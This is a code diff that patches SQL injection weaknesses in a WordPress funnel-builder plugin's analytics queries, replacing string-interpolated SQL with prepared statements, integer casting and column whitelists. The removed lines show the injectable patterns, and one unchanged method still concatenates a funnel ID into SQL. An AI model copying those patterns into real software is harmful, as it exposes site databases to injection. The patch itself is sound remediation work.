+				$query .= $wpdb->prepare( ' AND (contact.f_name LIKE %s OR contact.email LIKE %s) group by contact.id', '%' . $search . '%', '%' . $search . '%' );

 			} else {
-				$query = $wpdb->prepare("SELECT optin.cid FROM " . $wpdb->prefix . 'bwf_optin_entries' . " AS optin WHERE optin.funnel_id=%d", $funnel_id );
+				$query = $wpdb->prepare( 'SELECT optin.cid FROM ' . $wpdb->prefix . 'bwf_optin_entries' . ' AS optin WHERE optin.funnel_id=%d', $funnel_id );
 			}

 			return $wpdb->get_results( $query, ARRAY_A ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
@@ -61,11 +62,15 @@
 		public function get_all_contacts_records( $funnel_id, $cid ) {
 			global $wpdb;

-			$funnel_id = ! empty( $funnel_id ) ? absint( $funnel_id ) : $funnel_id;
-			$cid       = ! empty( $cid ) ? absint( $cid ) : $cid;
-			$query = "SELECT optin.step_id as 'object_id',optin.data as 'data',DATE_FORMAT(optin.date, '%Y-%m-%dT%TZ') as 'date',p.post_title as 'object_name', 'optin' as 'type' FROM " . $wpdb->prefix . 'bwf_optin_entries' . " as optin LEFT JOIN " . $wpdb->prefix . 'posts' . " as p ON optin.step_id  = p.id WHERE optin.funnel_id=$funnel_id AND optin.cid= $cid  order by optin.date asc";
+			$funnel_id = absint( $funnel_id );
+			$cid       = absint( $cid );
+			$query     = $wpdb->prepare(
+				"SELECT optin.step_id as 'object_id', optin.data as 'data', DATE_FORMAT(optin.date, '%%Y-%%m-%%dT%%TZ') as 'date', p.post_title as 'object_name', 'optin' as 'type' FROM " . $wpdb->prefix . 'bwf_optin_entries as optin LEFT JOIN ' . $wpdb->prefix . 'posts as p ON optin.step_id = p.id WHERE optin.funnel_id = %d AND optin.cid = %d ORDER BY optin.date ASC',
+				$funnel_id,
+				$cid
+			);

-			$data     = $wpdb->get_results( $query ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			$data     = $wpdb->get_results( $query );
 			$db_error = WFFN_Common::maybe_wpdb_error( $wpdb );
 			if ( true === $db_error['db_error'] ) {
 				return $db_error;
@@ -77,11 +82,28 @@

 		public function get_contacts_optin_records( $cid, $entry_ids ) {
 			global $wpdb;
-			$entry_ids = ! empty( $entry_ids ) ? esc_sql( $entry_ids ) : $entry_ids;
-			$cid       = ! empty( $cid ) ? absint( $cid ) : $cid;
-			$query = "SELECT optin.id, optin.funnel_id as fid, optin.email as email, optin.step_id as 'object_id', optin.data as 'data',DATE_FORMAT(optin.date, '%Y-%m-%d %T') as 'date', COALESCE( p.post_title, '' ) as 'object_name', 'optin' as 'type' FROM " . $wpdb->prefix . 'bwf_optin_entries' . " as optin LEFT JOIN " . $wpdb->prefix . 'posts' . " as p ON optin.step_id  = p.id WHERE optin.id IN ( $entry_ids ) AND optin.cid= $cid  order by optin.date asc";
+			$cid = absint( $cid );
+
+			// Handle entry_ids - can be comma-separated string or array
+			if ( is_string( $entry_ids ) ) {
+				$entry_ids_array = array_map( 'absint', array_filter( explode( ',', $entry_ids ) ) );
+			} else {
+				$entry_ids_array = array_map( 'absint', (array) $entry_ids );
+			}
+
+			if ( empty( $entry_ids_array ) ) {
+				return array();
+			}

-			$data     = $wpdb->get_results( $query ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			$placeholders = implode( ',', array_fill( 0, count( $entry_ids_array ), '%d' ) );
+			$query_args   = array_merge( $entry_ids_array, array( $cid ) );
+
+			$query = $wpdb->prepare(
+				"SELECT optin.id, optin.funnel_id as fid, optin.email as email, optin.step_id as 'object_id', optin.data as 'data', DATE_FORMAT(optin.date, '%%Y-%%m-%%d %%T') as 'date', COALESCE( p.post_title, '' ) as 'object_name', 'optin' as 'type' FROM " . $wpdb->prefix . 'bwf_optin_entries as optin LEFT JOIN ' . $wpdb->prefix . "posts as p ON optin.step_id = p.id WHERE optin.id IN ( $placeholders ) AND optin.cid = %d ORDER BY optin.date ASC",
+				...$query_args
+			);
+
+			$data     = $wpdb->get_results( $query );
 			$db_error = WFFN_Common::maybe_wpdb_error( $wpdb );
 			if ( true === $db_error['db_error'] ) {
 				return $db_error;
@@ -98,10 +120,13 @@
 		 */
 		public function get_all_contact_record_by_cid( $cid ) {
 			global $wpdb;
-			$cid       = ! empty( $cid ) ? absint( $cid ) : $cid;
-			$query = "SELECT optin.step_id as 'object_id',optin.data as 'data',DATE_FORMAT(optin.date, '%Y-%m-%dT%TZ') as 'date',p.post_title as 'object_name', 'optin' as 'type' FROM " . $wpdb->prefix . 'bwf_optin_entries' . " as optin LEFT JOIN " . $wpdb->prefix . 'posts' . " as p ON optin.step_id  = p.id WHERE optin.cid= $cid  order by optin.date asc";
+			$cid   = absint( $cid );
+			$query = $wpdb->prepare(
+				"SELECT optin.step_id as 'object_id', optin.data as 'data', DATE_FORMAT(optin.date, '%%Y-%%m-%%dT%%TZ') as 'date', p.post_title as 'object_name', 'optin' as 'type' FROM " . $wpdb->prefix . 'bwf_optin_entries as optin LEFT JOIN ' . $wpdb->prefix . 'posts as p ON optin.step_id = p.id WHERE optin.cid = %d ORDER BY optin.date ASC',
+				$cid
+			);

-			$data     = $wpdb->get_results( $query ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			$data     = $wpdb->get_results( $query );
 			$db_error = WFFN_Common::maybe_wpdb_error( $wpdb );
 			if ( true === $db_error['db_error'] ) {
 				return $db_error;
@@ -121,15 +146,26 @@
 		 */
 		public function get_timeline_data_query( $limit, $order = 'DESC', $order_by = 'date', $can_union = true ) {
 			global $wpdb;
-			$limit    = ( $limit !== '' ) ? " LIMIT " . $limit : '';
-			$limit    = ! empty( $limit ) ? esc_sql( $limit ) : $limit;
-			$order    = ! empty( $order ) ? esc_sql( $order ) : $order;
-			$order_by = ! empty( $order_by ) ? esc_sql( $order_by ) : $order_by;
+
+			// Whitelist allowed ORDER BY columns to prevent SQL injection
+			$allowed_order_by = array( 'date', 'id', 'step_id', 'funnel_id', 'cid' );
+			$order_by         = in_array( $order_by, $allowed_order_by, true ) ? $order_by : 'date';
+
+			// Whitelist ORDER direction
+			$order = strtoupper( $order );
+			$order = in_array( $order, array( 'ASC', 'DESC' ), true ) ? $order : 'DESC';
+
+			// Sanitize LIMIT - ensure it's a positive integer
+			$limit_clause = '';
+			if ( '' !== $limit && is_numeric( $limit ) ) {
+				$limit_clause = ' LIMIT ' . absint( $limit );
+			}
+
 			if ( $can_union ) {
-				return "SELECT stats.step_id as id, stats.funnel_id as 'fid', stats.cid as 'cid', '0' as 'order_id', '0' as 'total_revenue', 'optin' as 'type', posts.post_title as 'post_title', stats.date as date FROM " . $wpdb->prefix . "bwf_optin_entries AS stats LEFT JOIN " . $wpdb->prefix . "posts AS posts ON stats.step_id=posts.ID ORDER BY " . $order_by . " " . $order . " " . $limit;
+				return "SELECT stats.step_id as id, stats.funnel_id as 'fid', stats.cid as 'cid', '0' as 'order_id', '0' as 'total_revenue', 'optin' as 'type', posts.post_title as 'post_title', stats.date as date FROM " . $wpdb->prefix . 'bwf_optin_entries AS stats LEFT JOIN ' . $wpdb->prefix . 'posts AS posts ON stats.step_id=posts.ID ORDER BY ' . $order_by . ' ' . $order . $limit_clause;

 			} else {
-				return "SELECT stats.step_id as id, stats.funnel_id as 'fid', stats.cid as 'cid', '0' as 'order_id', '0' as 'total_revenue', 'optin' as 'type', posts.post_title as 'post_title',contact.f_name as f_name, contact.l_name as l_name, stats.date as date FROM " . $wpdb->prefix . "bwf_optin_entries AS stats LEFT JOIN " . $wpdb->prefix . "posts AS posts ON stats.step_id=posts.ID LEFT JOIN " . $wpdb->prefix . "bwf_contact AS contact ON contact.id=cid WHERE contact.id != '' ORDER BY " . $order_by . " " . $order . " " . $limit;
+				return "SELECT stats.step_id as id, stats.funnel_id as 'fid', stats.cid as 'cid', '0' as 'order_id', '0' as 'total_revenue', 'optin' as 'type', posts.post_title as 'post_title', contact.f_name as f_name, contact.l_name as l_name, stats.date as date FROM " . $wpdb->prefix . 'bwf_optin_entries AS stats LEFT JOIN ' . $wpdb->prefix . 'posts AS posts ON stats.step_id=posts.ID LEFT JOIN ' . $wpdb->prefix . "bwf_contact AS contact ON contact.id=cid WHERE contact.id != '' ORDER BY " . $order_by . ' ' . $order . $limit_clause;

 			}

@@ -143,14 +179,32 @@
 		 */
 		public function delete_contact( $cids, $funnel_id = 0 ) {
 			global $wpdb;
-			$cid_count                = count( $cids );
-			$stringPlaceholders       = array_fill( 0, $cid_count, '%s' );
-			$placeholdersForFavFruits = implode( ',', $stringPlaceholders );

-			$funnel_query = ( absint( $funnel_id ) > 0 ) ? " AND fid = " . $funnel_id . " " : '';
+			// Sanitize all cids as integers
+			$cids      = array_map( 'absint', (array) $cids );
+			$cids      = array_filter( $cids ); // Remove zeros
+			$cid_count = count( $cids );
+
+			if ( empty( $cid_count ) ) {
+				return true;
+			}
+
+			$placeholders = implode( ',', array_fill( 0, $cid_count, '%d' ) );
+			$funnel_id    = absint( $funnel_id );
+
+			if ( $funnel_id > 0 ) {
+				$query = $wpdb->prepare(
+					'DELETE FROM ' . $wpdb->prefix . "bwf_optin_entries WHERE cid IN ($placeholders) AND fid = %d",
+					...array_merge( $cids, array( $funnel_id ) )
+				);
+			} else {
+				$query = $wpdb->prepare(
+					'DELETE FROM ' . $wpdb->prefix . "bwf_optin_entries WHERE cid IN ($placeholders)",
+					...$cids
+				);
+			}

-			$e_query = "DELETE FROM " . $wpdb->prefix . "bwf_optin_entries WHERE cid IN (" . esc_sql($placeholdersForFavFruits ) . ") " . $funnel_query;
-			$wpdb->query( $wpdb->prepare( $e_query, $cids ) ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			$wpdb->query( $query );

 			$db_error = WFFN_Common::maybe_wpdb_error( $wpdb );
 			if ( true === $db_error['db_error'] ) {
@@ -172,10 +226,10 @@
 		public function get_contacts_by_funnel_id( $funnel_id, $start_date, $end_date, $is_interval = '' ) {
 			global $wpdb;
 			$date           = ( '' !== $start_date && '' !== $end_date ) ? " AND `date` >= '" . esc_sql( $start_date ) . "' AND `date` < '" . esc_sql( $end_date ) . "' " : '';
-			$funnel_query   = ( 0 === intval( $funnel_id ) ) ? " AND funnel_id != " . $funnel_id . " " : " AND funnel_id = " . esc_sql( $funnel_id ) . " ";
+			$funnel_query   = ( 0 === intval( $funnel_id ) ) ? ' AND funnel_id != ' . $funnel_id . ' ' : ' AND funnel_id = ' . esc_sql( $funnel_id ) . ' ';
 			$interval_param = ! empty( $is_interval ) ? ', date as p_date ' : '';

-			return "SELECT DISTINCT cid as contacts " . $interval_param . " FROM `" . $wpdb->prefix . "bwf_optin_entries` WHERE 1=1 " . $date . " " . $funnel_query;
+			return 'SELECT DISTINCT cid as contacts ' . $interval_param . ' FROM `' . $wpdb->prefix . 'bwf_optin_entries` WHERE 1=1 ' . $date . ' ' . $funnel_query;
 		}

 		/**
@@ -183,7 +237,7 @@
 		 */
 		public function reset_analytics( $funnel_id ) {
 			global $wpdb;
-			$query = $wpdb->prepare( "DELETE FROM " . $wpdb->prefix . "bwf_optin_entries WHERE funnel_id=%d", $funnel_id );
+			$query = $wpdb->prepare( 'DELETE FROM ' . $wpdb->prefix . 'bwf_optin_entries WHERE funnel_id=%d', $funnel_id );
 			$wpdb->query( $query );
 		}

@@ -194,21 +248,33 @@
 		 */
 		public function delete_optin_entries( $entry_ids ) {
 			global $wpdb;
-			$entry_ids = is_array( $entry_ids ) ? implode( ',', $entry_ids ) : $entry_ids;
-			if ( empty( $entry_ids ) ) {
+
+			// Convert to array and sanitize as integers
+			if ( is_string( $entry_ids ) ) {
+				$entry_ids_array = array_map( 'absint', array_filter( explode( ',', $entry_ids ) ) );
+			} else {
+				$entry_ids_array = array_map( 'absint', array_filter( (array) $entry_ids ) );
+			}
+
+			if ( empty( $entry_ids_array ) ) {
 				return;
 			}
-			$e_query = "DELETE FROM " . $wpdb->prefix . "bwf_optin_entries WHERE id IN (" . esc_sql( $entry_ids ) . ")";
-			$wpdb->query( $e_query );
+
+			$placeholders = implode( ',', array_fill( 0, count( $entry_ids_array ), '%d' ) );
+			$query        = $wpdb->prepare(
+				'DELETE FROM ' . $wpdb->prefix . "bwf_optin_entries WHERE id IN ($placeholders)",
+				...$entry_ids_array
+			);
+			$wpdb->query( $query );

 			$db_error = WFFN_Common::maybe_wpdb_error( $wpdb );
 			if ( true === $db_error['db_error'] ) {
 				return $db_error;
 			}

-			do_action( 'wffn_delete_optin_entries', $entry_ids );
+			do_action( 'wffn_delete_optin_entries', $entry_ids_array );

 		}

 	}
-}
 No newline at end of file
+}
--- a/funnel-builder/contact-analytics/class-wfob-contacts-analytics.php
+++ b/funnel-builder/contact-analytics/class-wfob-contacts-analytics.php
@@ -1,5 +1,5 @@
 <?php
-defined( 'ABSPATH' ) || exit; //Exit if accessed directly
+defined( 'ABSPATH' ) || exit; // Exit if accessed directly

 /**
  * Class WFOB_Contacts_Analytics
@@ -10,6 +10,7 @@

 		/**
 		 * instance of class
+		 *
 		 * @var null
 		 */
 		private static $ins = null;
@@ -38,18 +39,39 @@
 		 *
 		 * @return array
 		 */
-		public function get_top_bumps( $start_date, $end_date, $limit_str = ''  ) {
+		public function get_top_bumps( $start_date, $end_date, $limit_str = '' ) {
 			global $wpdb;
-			$where_condition = "WHERE bmp.converted = 1";
-			$view_where_condition = "";

-			if (!empty($start_date) && !empty($end_date)) {
-				$where_condition = "WHERE date >= '$start_date' AND date < '$end_date' AND bmp.converted = 1";
-				$view_where_condition = "WHERE date >= '$start_date' AND date < '$end_date'";
+			// Sanitize limit - ensure it's a positive integer
+			$limit_clause = '';
+			if ( ! empty( $limit_str ) && is_numeric( $limit_str ) ) {
+				$limit_clause = ' LIMIT ' . absint( $limit_str );
+			}
+
+			// Build query with prepared statements for dates
+			if ( ! empty( $start_date ) && ! empty( $end_date ) ) {
+				$start_date = sanitize_text_field( $start_date );
+				$end_date   = sanitize_text_field( $end_date );
+				$query      = $wpdb->prepare(
+					'SELECT v.bid as id, IFNULL(s.revenue, 0) as revenue, IFNULL(s.conversion, 0) as conversion, p.post_title as title, p.post_type as post_type, v.view_count as views
+					FROM (SELECT bid, COUNT(id) as view_count FROM `' . $wpdb->prefix . 'wfob_stats` WHERE date >= %s AND date < %s GROUP BY bid) as v
+					LEFT JOIN ' . $wpdb->prefix . 'posts as p ON p.id = v.bid
+					LEFT JOIN (SELECT bid, sum(total) as revenue, COUNT(id) as conversion FROM `' . $wpdb->prefix . 'wfob_stats` as bmp WHERE date >= %s AND date < %s AND bmp.converted = 1 GROUP BY bid) as s ON s.bid = v.bid
+					ORDER BY revenue DESC' . $limit_clause,
+					$start_date,
+					$end_date,
+					$start_date,
+					$end_date
+				);
+			} else {
+				$query = 'SELECT v.bid as id, IFNULL(s.revenue, 0) as revenue, IFNULL(s.conversion, 0) as conversion, p.post_title as title, p.post_type as post_type, v.view_count as views
+					FROM (SELECT bid, COUNT(id) as view_count FROM `' . $wpdb->prefix . 'wfob_stats` GROUP BY bid) as v
+					LEFT JOIN ' . $wpdb->prefix . 'posts as p ON p.id = v.bid
+					LEFT JOIN (SELECT bid, sum(total) as revenue, COUNT(id) as conversion FROM `' . $wpdb->prefix . 'wfob_stats` as bmp WHERE bmp.converted = 1 GROUP BY bid) as s ON s.bid = v.bid
+					ORDER BY revenue DESC' . $limit_clause;
 			}

-			$query = "SELECT v.bid as id,IFNULL(s.revenue, 0) as revenue, IFNULL(s.conversion, 0) as conversion,p.post_title as title,p.post_type as post_type,v.view_count as views FROM (SELECT bid, COUNT(id) as view_count FROM `" . $wpdb->prefix . "wfob_stats` $view_where_condition GROUP BY bid) as v LEFT JOIN " . $wpdb->prefix . "posts as p ON p.id = v.bid LEFT JOIN (SELECT bid, sum(total) as revenue, COUNT(id) as conversion FROM `" . $wpdb->prefix . "wfob_stats` as bmp $where_condition GROUP BY bid) as s ON s.bid = v.bid ORDER BY revenue DESC " . $limit_str;
-			$data     = $wpdb->get_results( $query ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			$data     = $wpdb->get_results( $query );
 			$db_error = WFFN_Common::maybe_wpdb_error( $wpdb );
 			if ( true === $db_error['db_error'] ) {
 				return $db_error;
@@ -57,11 +79,11 @@
 			if ( ! empty( $data ) && is_array( $data ) ) {
 				foreach ( $data as $key => $item ) {
 					$data[ $key ]->conversion_rate = $this->get_percentage( absint( $item->views ), $item->conversion );
-					$data[ $key ]->type = $item->post_type;
-					$funnel_id = get_post_meta( $item->id, '_bwf_in_funnel', true );
-					$data[ $key ]->fid = $funnel_id;
+					$data[ $key ]->type            = $item->post_type;
+					$funnel_id                     = get_post_meta( $item->id, '_bwf_in_funnel', true );
+					$data[ $key ]->fid             = $funnel_id;
 					if ( $funnel_id ) {
-						$funnel_name = $wpdb->get_var(
+						$funnel_name               = $wpdb->get_var(
 							$wpdb->prepare(
 								"SELECT title FROM {$wpdb->prefix}bwf_funnels WHERE id = %d",
 								$funnel_id
@@ -85,12 +107,17 @@
 		 */
 		public function get_all_contacts_records( $funnel_id, $cid ) {
 			global $wpdb;
-			$item_data = [];
-			$funnel_id = ! empty( $funnel_id ) ? absint( $funnel_id ) : $funnel_id;
-			$cid       = ! empty( $cid ) ? absint( $cid ) : $cid;
-			$query     = "SELECT bump.oid as order_id, bump.bid as 'object_id', bump.iid as 'item_ids', bump.total as 'total_revenue',p.post_title as 'object_name', bump.converted as 'is_converted',DATE_FORMAT(bump.date, '%Y-%m-%dT%TZ') as 'date','bump' as 'type' FROM " . $wpdb->prefix . 'wfob_stats' . " AS bump LEFT JOIN " . $wpdb->prefix . 'posts' . " as p ON bump.bid  = p.id  WHERE bump.converted = 1 AND bump.fid=$funnel_id AND bump.cid=$cid order by bump.date asc";
+			$item_data = array();
+			$funnel_id = absint( $funnel_id );
+			$cid       = absint( $cid );
+
+			$query = $wpdb->prepare(
+				"SELECT bump.oid as order_id, bump.bid as 'object_id', bump.iid as 'item_ids', bump.total as 'total_revenue', p.post_title as 'object_name', bump.converted as 'is_converted', DATE_FORMAT(bump.date, '%%Y-%%m-%%dT%%TZ') as 'date', 'bump' as 'type' FROM " . $wpdb->prefix . 'wfob_stats AS bump LEFT JOIN ' . $wpdb->prefix . 'posts as p ON bump.bid = p.id WHERE bump.converted = 1 AND bump.fid = %d AND bump.cid = %d ORDER BY bump.date ASC',
+				$funnel_id,
+				$cid
+			);

-			$order_data = $wpdb->get_results( $query ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			$order_data = $wpdb->get_results( $query );
 			$db_error   = WFFN_Common::maybe_wpdb_error( $wpdb );
 			if ( true === $db_error['db_error'] ) {
 				return $db_error;
@@ -100,12 +127,12 @@
 				return $item_data;
 			}

-			$all_item_ids = [];
+			$all_item_ids = array();

 			/** merge all items ids in one array */
 			if ( is_array( $order_data ) && count( $order_data ) > 0 ) {
 				foreach ( $order_data as &$i_array ) {
-					$i_array->item_ids = ( isset( $i_array->item_ids ) && '' != $i_array->item_ids ) ? json_decode( $i_array->item_ids ) : [];
+					$i_array->item_ids = ( isset( $i_array->item_ids ) && '' != $i_array->item_ids ) ? json_decode( $i_array->item_ids ) : array();
 					if ( is_array( $i_array->item_ids ) && count( $i_array->item_ids ) > 0 ) {
 						$all_item_ids = array_merge( $all_item_ids, $i_array->item_ids );
 					}
@@ -116,26 +143,34 @@
 				/**
 				 * get order item product name and quantity by items ids
 				 */
-				$item_query = "SELECT oi.order_item_id as 'item_id', oi.order_item_name as 'product_name', oim.meta_value as 'qty' FROM " . $wpdb->prefix . "woocommerce_order_items as oi LEFT JOIN " . $wpdb->prefix . "woocommerce_order_itemmeta as oim ON oi.order_item_id = oim.order_item_id WHERE oi.order_item_id IN (" . esc_sql( implode( ',', $all_item_ids ) ) . ") AND oi.order_item_type = 'line_item' AND oim.meta_key = '_qty' GROUP BY oi.order_item_id";
-				$item_data  = $wpdb->get_results( $item_query ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
-				$db_error   = WFFN_Common::maybe_wpdb_error( $wpdb );
-				if ( true === $db_error['db_error'] ) {
-					return $db_error;
+				$all_item_ids = array_map( 'absint', $all_item_ids );
+				$all_item_ids = array_filter( $all_item_ids );
+
+				if ( ! empty( $all_item_ids ) ) {
+					$placeholders = implode( ',', array_fill( 0, count( $all_item_ids ), '%d' ) );
+					$item_query   = $wpdb->prepare(
+						"SELECT oi.order_item_id as 'item_id', oi.order_item_name as 'product_name', oim.meta_value as 'qty' FROM " . $wpdb->prefix . 'woocommerce_order_items as oi LEFT JOIN ' . $wpdb->prefix . "woocommerce_order_itemmeta as oim ON oi.order_item_id = oim.order_item_id WHERE oi.order_item_id IN ($placeholders) AND oi.order_item_type = 'line_item' AND oim.meta_key = '_qty' GROUP BY oi.order_item_id",
+						...$all_item_ids
+					);
+					$item_data    = $wpdb->get_results( $item_query );
+					$db_error     = WFFN_Common::maybe_wpdb_error( $wpdb );
+					if ( true === $db_error['db_error'] ) {
+						return $db_error;
+					}
 				}
 			}

 			foreach ( $order_data as &$order ) {
-				$product_titles = [];
+				$product_titles = array();
 				$qty            = 0;
 				if ( is_array( $order->item_ids ) && count( $order->item_ids ) > 0 && is_array( $item_data ) && count( $item_data ) > 0 ) {
 					foreach ( $order->item_ids as $item_id ) {
 						$search = array_search( intval( $item_id ), array_map( 'intval', wp_list_pluck( $item_data, 'item_id' ) ), true );
 						if ( false !== $search && isset( $item_data[ $search ] ) ) {
 							$product_titles[] = $item_data[ $search ]->product_name;
-							$qty              += absint( $item_data[ $search ]->qty );
+							$qty             += absint( $item_data[ $search ]->qty );
 						}
 					}
-
 				}
 				unset( $order->item_ids );
 				$order->product_name = implode( ', ', $product_titles );
@@ -147,11 +182,28 @@

 		public function get_contacts_revenue_records( $cid, $order_ids ) {
 			global $wpdb;
-			$order_ids = ! empty( $order_ids ) ? esc_sql( $order_ids ) : $order_ids;
-			$cid       = ! empty( $cid ) ? absint( $cid ) : $cid;
-			$query = "SELECT conv.funnel_id as fid, conv.source as order_id, conv.step_id as 'object_id', conv.bump_total as 'total_revenue', p.post_title as 'object_name', CASE WHEN conv.bump_total > 0 AND conv.bump_accepted != '' THEN 1 ELSE 0 END as 'is_converted', DATE_FORMAT(conv.timestamp, '%Y-%m-%d %T') as 'date', 'bump' as 'type' FROM " . $wpdb->prefix . 'bwf_conversion_tracking' . " AS conv LEFT JOIN " . $wpdb->prefix . 'posts' . " as p ON conv.step_id = p.id WHERE conv.type = 2 AND conv.bump_total > 0 AND conv.bump_accepted != '' AND conv.source IN ( $order_ids ) AND conv.contact_id=$cid order by conv.timestamp asc";
+			$cid = absint( $cid );

-			$data     = $wpdb->get_results( $query ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			// Handle order_ids - can be comma-separated string or array
+			if ( is_string( $order_ids ) ) {
+				$order_ids_array = array_map( 'absint', array_filter( explode( ',', $order_ids ) ) );
+			} else {
+				$order_ids_array = array_map( 'absint', (array) $order_ids );
+			}
+
+			if ( empty( $order_ids_array ) ) {
+				return array();
+			}
+
+			$placeholders = implode( ',', array_fill( 0, count( $order_ids_array ), '%d' ) );
+			$query_args   = array_merge( $order_ids_array, array( $cid ) );
+
+			$query = $wpdb->prepare(
+				"SELECT conv.funnel_id as fid, conv.source as order_id, conv.step_id as 'object_id', conv.bump_total as 'total_revenue', p.post_title as 'object_name', CASE WHEN conv.bump_total > 0 AND conv.bump_accepted != '' THEN 1 ELSE 0 END as 'is_converted', DATE_FORMAT(conv.timestamp, '%%Y-%%m-%%d %%T') as 'date', 'bump' as 'type' FROM " . $wpdb->prefix . 'bwf_conversion_tracking AS conv LEFT JOIN ' . $wpdb->prefix . "posts as p ON conv.step_id = p.id WHERE conv.type = 2 AND conv.bump_total > 0 AND conv.bump_accepted != '' AND conv.source IN ($placeholders) AND conv.contact_id = %d ORDER BY conv.timestamp ASC",
+				...$query_args
+			);
+
+			$data     = $wpdb->get_results( $query );
 			$db_error = WFFN_Common::maybe_wpdb_error( $wpdb );
 			if ( true === $db_error['db_error'] ) {
 				return $db_error;
@@ -164,7 +216,7 @@
 		public function get_bumps_by_order_id( $order_id ) {
 			global $wpdb;

-			$query    = $wpdb->prepare( "SELECT conv.step_id as 'id', p.post_title as 'bump_name', '' as 'bump_products', CASE WHEN conv.bump_total > 0 AND conv.bump_accepted != '' THEN 'Yes' ELSE 'No' END as 'bump_converted', conv.source as 'bump_order_id', conv.bump_total as 'bump_total' FROM " . $wpdb->prefix . 'bwf_conversion_tracking' . " AS conv LEFT JOIN " . $wpdb->prefix . 'posts' . " as p ON conv.step_id = p.id WHERE conv.type = 2 AND conv.source=%s order by conv.timestamp asc", $order_id );
+			$query    = $wpdb->prepare( "SELECT conv.step_id as 'id', p.post_title as 'bump_name', '' as 'bump_products', CASE WHEN conv.bump_total > 0 AND conv.bump_accepted != '' THEN 'Yes' ELSE 'No' END as 'bump_converted', conv.source as 'bump_order_id', conv.bump_total as 'bump_total' FROM " . $wpdb->prefix . 'bwf_conversion_tracking' . ' AS conv LEFT JOIN ' . $wpdb->prefix . 'posts' . ' as p ON conv.step_id = p.id WHERE conv.type = 2 AND conv.source=%s order by conv.timestamp asc', $order_id );
 			$data     = $wpdb->get_results( $query, ARRAY_A ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
 			$db_error = WFFN_Common::maybe_wpdb_error( $wpdb );
 			if ( true === $db_error['db_error'] ) {
@@ -183,22 +235,26 @@
 		 */
 		public function get_all_contact_record_by_cid( $cid ) {
 			global $wpdb;
-			$cid       = ! empty( $cid ) ? absint( $cid ) : $cid;
-			$query = "SELECT conv.source as order_id, conv.step_id as 'object_id', conv.bump_total as 'total_revenue', p.post_title as 'object_name', CASE WHEN conv.bump_total > 0 AND conv.bump_accepted != '' THEN 1 ELSE 0 END as 'is_converted', DATE_FORMAT(conv.timestamp, '%Y-%m-%dT%TZ') as 'date', 'bump' as 'type' FROM " . $wpdb->prefix . 'bwf_conversion_tracking' . " AS conv LEFT JOIN " . $wpdb->prefix . 'posts' . " as p ON conv.step_id = p.id WHERE conv.type = 2 AND conv.bump_total > 0 AND conv.bump_accepted != '' AND conv.contact_id=$cid order by conv.timestamp asc";
+			$cid = absint( $cid );

-			$data     = $wpdb->get_results( $query ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			$query = $wpdb->prepare(
+				"SELECT conv.source as order_id, conv.step_id as 'object_id', conv.bump_total as 'total_revenue', p.post_title as 'object_name', CASE WHEN conv.bump_total > 0 AND conv.bump_accepted != '' THEN 1 ELSE 0 END as 'is_converted', DATE_FORMAT(conv.timestamp, '%%Y-%%m-%%dT%%TZ') as 'date', 'bump' as 'type' FROM " . $wpdb->prefix . 'bwf_conversion_tracking AS conv LEFT JOIN ' . $wpdb->prefix . "posts as p ON conv.step_id = p.id WHERE conv.type = 2 AND conv.bump_total > 0 AND conv.bump_accepted != '' AND conv.contact_id = %d ORDER BY conv.timestamp ASC",
+				$cid
+			);
+
+			$data     = $wpdb->get_results( $query );
 			$db_error = WFFN_Common::maybe_wpdb_error( $wpdb );
 			if ( true === $db_error['db_error'] ) {
 				return $db_error;
 			}

 			if ( ! empty( $data[0]->order_id ) ) {
-				$order_products = ! empty( wc_get_order( $data[0]->order_id ) ) ? wffn_rest_funnel_modules()->get_first_item( $data[0]->order_id ) : [];
+				$order_products = ! empty( wc_get_order( $data[0]->order_id ) ) ? wffn_rest_funnel_modules()->get_first_item( $data[0]->order_id ) : array();
 				if ( ! empty( $order_products ) ) {
 					$data[0]->product_name = $order_products['title'];
 					$data[0]->product_qty  = $order_products['more'];
 				}
-			} else if ( ! empty( $data[0] ) ) {
+			} elseif ( ! empty( $data[0] ) ) {
 				$data[0]->product_name = '';
 				$data[0]->product_qty  = '';
 			}
@@ -217,12 +273,22 @@
 		 */
 		public function get_timeline_data_query( $limit, $order = 'DESC', $order_by = 'date' ) {
 			global $wpdb;
-			$limit    = ( $limit !== '' ) ? " LIMIT " . $limit : '';
-			$limit    = ! empty( $limit ) ? esc_sql( $limit ) : $limit;
-			$order    = ! empty( $order ) ? esc_sql( $order ) : $order;
-			$order_by = ! empty( $order_by ) ? esc_sql( $order_by ) : $order_by;

-			return "SELECT conv.step_id as id, conv.funnel_id as 'fid', conv.contact_id as 'cid', conv.source as 'order_id', CONVERT( conv.bump_total USING utf8) as 'total_revenue', 'bump' as 'type', posts.post_title as 'post_title', conv.timestamp as date FROM " . $wpdb->prefix . "bwf_conversion_tracking AS conv LEFT JOIN " . $wpdb->prefix . "posts AS posts ON conv.step_id=posts.ID WHERE conv.type = 2 AND conv.bump_total > 0 AND conv.bump_accepted != '' ORDER BY " . $order_by . " " . $order . " " . $limit;
+			// Whitelist allowed ORDER BY columns to prevent SQL injection
+			$allowed_order_by = array( 'date', 'id', 'fid', 'cid', 'order_id', 'total_revenue' );
+			$order_by         = in_array( $order_by, $allowed_order_by, true ) ? $order_by : 'date';
+
+			// Whitelist ORDER direction
+			$order = strtoupper( $order );
+			$order = in_array( $order, array( 'ASC', 'DESC' ), true ) ? $order : 'DESC';
+
+			// Sanitize LIMIT - ensure it's a positive integer
+			$limit_clause = '';
+			if ( '' !== $limit && is_numeric( $limit ) ) {
+				$limit_clause = ' LIMIT ' . absint( $limit );
+			}
+
